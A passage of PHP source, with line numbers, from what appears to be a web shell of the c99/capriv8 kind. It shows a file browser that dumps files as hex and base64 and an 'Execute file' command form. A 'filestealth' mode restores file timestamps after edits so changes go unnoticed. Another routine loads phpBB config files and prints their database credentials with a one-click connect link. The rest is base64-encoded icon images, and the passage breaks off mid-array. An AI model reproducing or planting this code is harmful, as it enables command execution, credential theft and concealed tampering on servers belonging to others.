  4372.       echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."x=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
  4373.       $fi = fopen($d.$f,"rb");
  4374.       if ($fi) {
  4375.         if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  4376.         else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  4377.         $n = 0;
  4378.         $a0 = "00000000<br>";
  4379.         $a1 = "";
  4380.         $a2 = "";
  4381.         for ($i=0; $i<strlen($str); $i++) {
  4382.           $a1 .= sprintf("%02X",ord($str[$i]))." ";
  4383.           switch (ord($str[$i])) {
  4384.             case 0:  $a2 .= "<font>0</font>"; break;
  4385.             case 32:
  4386.             case 10:
  4387.             case 13: $a2 .= " "; break;
  4388.             default: $a2 .= htmlspecialchars($str[$i]);
  4389.           }
  4390.           $n++;
  4391.           if ($n == $hexdump_rows) {
  4392.             $n = 0;
  4393.             if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  4394.             $a1 .= "<br>";
  4395.             $a2 .= "<br>";
  4396.           }
  4397.         }
  4398.         echo "<table border=1 bgcolor=#666666>".
  4399.              "<tr><td bgcolor=#666666>".$a0."</td>".
  4400.              "<td bgcolor=#000000>".$a1."</td>".
  4401.              "<td bgcolor=#000000>".$a2."</td>".
  4402.              "</tr></table><br>";
  4403.       }
  4404.       $encoded = "";
  4405.       if ($base64 == 1) {
  4406.         echo "<b>Base64 Encode</b><br>";
  4407.         $encoded = base64_encode(file_get_contents($d.$f));
  4408.       }
  4409.       elseif($base64 == 2) {
  4410.         echo "<b>Base64 Encode + Chunk</b><br>";
  4411.         $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  4412.       }
  4413.       elseif($base64 == 3) {
  4414.         echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  4415.         $encoded = base64_encode(file_get_contents($d.$f));
  4416.         $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  4417.       }
  4418.       elseif($base64 == 4) {
  4419.         $text = file_get_contents($d.$f);
  4420.         $encoded = base64_decode($text);
  4421.         echo "<b>Base64 Decode";
  4422.     if (base64_encode($encoded) != $text) {echo " (failed)";}
  4423.     echo "</b><br>";
  4424.    }
  4425.    if (!empty($encoded))
  4426.    {
  4427.     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  4428.    }
  4429.    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  4430.         <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr>
  4431.         <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr>
  4432.         <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr>
  4433.         <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr>
  4434.         <P>";
  4435.   }
  4436.   elseif ($ft == "html") {
  4437.    if ($white) {@ob_clean();}
  4438.    echo $r;
  4439.    if ($white) {capriv8exit();}
  4440.   }
  4441.   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  4442.   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  4443.   elseif ($ft == "phpsess") {
  4444.    echo "<pre>";
  4445.    $v = explode("|",$r);
  4446.    echo $v[0]."<br>";
  4447.    var_dump(unserialize($v[1]));
  4448.    echo "</pre>";
  4449.   }
  4450.   elseif ($ft == "exe") {
  4451.    $ext = explode(".",$f);
  4452.    $c = count($ext)-1;
  4453.    $ext = $ext[$c];
  4454.    $ext = strtolower($ext);
  4455.    $rft = "";
  4456.    foreach($exeftypes as $k=>$v)
  4457.    {
  4458.     if (in_array($ext,$v)) {$rft = $k; break;}
  4459.    }
  4460.    $cmd = str_replace("%f%",$f,$rft);
  4461.    echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=x value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  4462.   }
  4463.   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  4464.   elseif ($ft == "code") {
  4465.     if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
  4466.       $arr = explode("\n",$r);
  4467.       if (count($arr == 18)) {
  4468.         include($d.$f);
  4469.         echo "<b>phpBB configuration is detected in this file!<br>";
  4470.         if ($dbms == "mysql4") {$dbms = "mysql";}
  4471.         if ($dbms == "mysql") {echo "<a href=\"".$surl."x=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  4472.         else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
  4473.         echo "Parameters for manual connect:<br>";
  4474.         $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  4475.         foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  4476.         echo "</b><hr size=\"1\" noshade>";
  4477.       }
  4478.     }
  4479.     echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  4480.     if (!empty($white)) {@ob_clean();}
  4481.     highlight_file($d.$f);
  4482.     if (!empty($white)) {capriv8exit();}
  4483.     echo "</div>";
  4484.   }
  4485.   elseif ($ft == "download") {
  4486.     @ob_clean();
  4487.     header("Content-type: application/octet-stream");
  4488.     header("Content-length: ".filesize($d.$f));
  4489.     header("Content-disposition: attachment; filename=\"".$f."\";");
  4490.     echo $r;
  4491.     exit;
  4492.   }
  4493.   elseif ($ft == "notepad") {
  4494.     @ob_clean();
  4495.     header("Content-type: text/plain");
  4496.     header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  4497.     echo($r);
  4498.     exit;
  4499.   }
  4500.   elseif ($ft == "img") {
  4501.     $inf = getimagesize($d.$f);
  4502.     if (!$white) {
  4503.       if (empty($imgsize)) {$imgsize = 20;}
  4504.       $width = $inf[0]/100*$imgsize;
  4505.       $height = $inf[1]/100*$imgsize;
  4506.       echo "<center><b>Size:</b> ";
  4507.       $sizes = array("100","50","20");
  4508.       foreach ($sizes as $v) {
  4509.         echo "<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  4510.         if ($imgsize != $v ) {echo $v;}
  4511.         else {echo "<u>".$v."</u>";}
  4512.         echo "</a>   ";
  4513.       }
  4514.       echo "<br><br><img src=\"".$surl."x=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  4515.     }
  4516.     else {
  4517.       @ob_clean();
  4518.       $ext = explode($f,".");
  4519.       $ext = $ext[count($ext)-1];
  4520.       header("Content-type: ".$inf["mime"]);
  4521.       readfile($d.$f);
  4522.       exit;
  4523.     }
  4524.   }
  4525.   elseif ($ft == "edit") {
  4526.    if (!empty($submit))
  4527.    {
  4528.     if ($filestealth) {$stat = stat($d.$f);}
  4529.     $fp = fopen($d.$f,"w");
  4530.     if (!$fp) {echo "<b>Can't write to file!</b>";}
  4531.     else
  4532.     {
  4533.      echo "<b>Saved!</b>";
  4534.      fwrite($fp,$edit_text);
  4535.      fclose($fp);
  4536.      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  4537.      $r = $edit_text;
  4538.     }
  4539.    }
  4540.    $rows = count(explode("\r\n",$r));
  4541.    if ($rows < 10) {$rows = 10;}
  4542.    if ($rows > 30) {$rows = 30;}
  4543.    echo "<form action=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."x=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  4544.   }
  4545.   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  4546.   else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
  4547. }
  4548. echo "</div>\n";
  4549. }
  4550. }
  4551. else {
  4552. @ob_clean();
  4553. $images = array(
  4554. "arrow_ltr"=>
  4555. "R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
  4556. "back"=>
  4557. "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  4558. "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
  4559. "Wg0JADs=",
  4560. "buffer"=>
  4561. "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
  4562. "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
  4563. "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
  4564. "change"=>
  4565. "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
  4566. "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
  4567. "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
  4568. "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
  4569. "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
  4570. "zMshADs=",
  4571. "delete"=>
  4572. "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
  4573. "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
  4574. "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
  4575. "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
  4576. "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
  4577. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4578. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
  4579. "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
  4580. "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
  4581. "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
  4582. "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
  4583. "download"=>
  4584. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  4585. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  4586. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  4587. "forward"=>
  4588. "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  4589. "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
  4590. "WqsJADs=",
  4591. "home"=>
  4592. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
  4593. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
  4594. "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
  4595. "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
  4596. "mode"=>
  4597. "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
  4598. "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
  4599. "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
  4600. "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
  4601. "search"=>
  4602. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
  4603. "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
  4604. "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
  4605. "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
  4606. "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
  4607. "setup"=>
  4608. "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
  4609. "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  4610. "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
  4611. "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
  4612. "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
  4613. "small_dir"=>
  4614. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  4615. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  4616. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  4617. "small_unk"=>
  4618. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  4619. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  4620. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  4621. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
  4622. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
  4623. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
  4624. "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
  4625. "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
  4626. "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4627. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4628. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4629. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4630. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4631. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4632. "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
  4633. "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
  4634. "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
  4635. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
  4636. "yAsokBkQADs=",
  4637. "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
  4638. "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
  4639. "sort_asc"=>
  4640. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
  4641. "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
  4642. "sort_desc"=>
  4643. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
  4644. "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
  4645. "sql_button_drop"=>
  4646. "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  4647. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4648. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  4649. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  4650. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  4651. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  4652. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  4653. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  4654. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  4655. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  4656. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  4657. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  4658. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  4659. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
  4660. "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
  4661. "AQEAOw==",
  4662. "sql_button_empty"=>
  4663. "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  4664. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4665. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  4666. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  4667. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  4668. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  4669. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  4670. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  4671. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  4672. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  4673. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  4674. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  4675. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  4676. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
  4677. "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
  4678. "sql_button_insert"=>
  4679. "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  4680. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4681. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  4682. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  4683. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  4684. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  4685. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  4686. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  4687. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  4688. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  4689. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  4690. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  4691. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  4692. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
  4693. "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
  4694. "up"=>
  4695. "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
  4696. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
  4697. "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
  4698. "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
  4699. "write"=>
  4700. "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
  4701. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
  4702. "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
  4703. "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
  4704. "ext_asp"=>
  4705. "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
